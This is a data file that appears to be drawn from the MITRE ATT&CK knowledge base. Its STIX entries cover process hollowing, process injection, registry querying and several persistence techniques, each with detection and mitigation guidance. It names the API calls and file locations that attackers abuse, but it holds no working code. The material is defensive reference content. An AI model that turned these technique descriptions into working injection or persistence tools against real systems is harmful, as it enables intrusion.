                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Process Hollowing Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1093",
                    "external_id": "T1093"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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        },
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            "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:09.815Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Process Hollowing",
            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User",
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                    "phase_name": "defense-evasion"
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            ],
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1093",
                    "external_id": "T1093"
                },
                {
                    "source_name": "Leitch Hollowing",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "url": "http://www.autosectools.com/process-hollowing.pdf"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "object_marking_refs": [
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            "x_mitre_defense_bypassed": [
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama  (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux  (Citation: SELinux official), grsecurity  (Citation: grsecurity official), and AppAmour  (Citation: AppArmor official).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
                    "external_id": "T1055"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "GDSecurity Linux injection",
                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.",
                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
                },
                {
                    "source_name": "Linux kernel Yama",
                    "description": "Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.",
                    "url": "https://www.kernel.org/doc/Documentation/security/Yama.txt"
                },
                {
                    "source_name": "SELinux official",
                    "description": "SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.",
                    "url": "https://selinuxproject.org/page/Main%20Page"
                },
                {
                    "source_name": "grsecurity official",
                    "description": "grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.",
                    "url": "https://grsecurity.net/"
                },
                {
                    "source_name": "AppArmor official",
                    "description": "AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.",
                    "url": "http://wiki.apparmor.net/index.php/Main%20Page"
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            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Process Injection",
            "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.  (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
                    "external_id": "T1055"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Endgame HuntingNMemory June 2017",
                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
                },
                {
                    "source_name": "Microsoft APC",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
                },
                {
                    "source_name": "ENSIL AtomBombing Oct 2016",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
                },
                {
                    "source_name": "Microsoft Atom Table",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
                },
                {
                    "source_name": "FireEye TLS Nov 2017",
                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
                },
                {
                    "source_name": "Datawire Code Injection",
                    "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.",
                    "url": "https://www.datawire.io/code-injection-on-linux-and-macos/"
                },
                {
                    "source_name": "Uninformed Needle",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "url": "http://hick.org/code/skape/papers/needle.txt"
                },
                {
                    "source_name": "Phrack halfdead 1997",
                    "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
                    "url": "http://phrack.org/issues/51/8.html"
                },
                {
                    "source_name": "VDSO hijack 2009",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.",
                    "url": "http://vxer.org/lib/vrn00.html"
                },
                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
                },
                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
                },
                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing"
                },
                {
                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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            "created": "2018-01-17T12:56:55.080Z",
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            "name": "Query Registry Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
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                    "external_id": "T1163"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Re-opened Applications Mitigation",
            "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1164",
                    "external_id": "T1164"
                },
                {
                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Re-opened Applications",
            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User",
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                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1108",
                    "external_id": "T1108"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:18.867Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1108",
                    "external_id": "T1108"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "x_mitre_platforms": [
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                "Windows"
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        {
            "type": "course-of-action",
            "id": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Registry Run Keys / Start Folder Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1060",
                    "external_id": "T1060"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:49.988Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Registry Run Keys / Start Folder",
            "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
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                    "phase_name": "persistence"
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            ],
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1060",
                    "external_id": "T1060"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa376977"
                },
                {
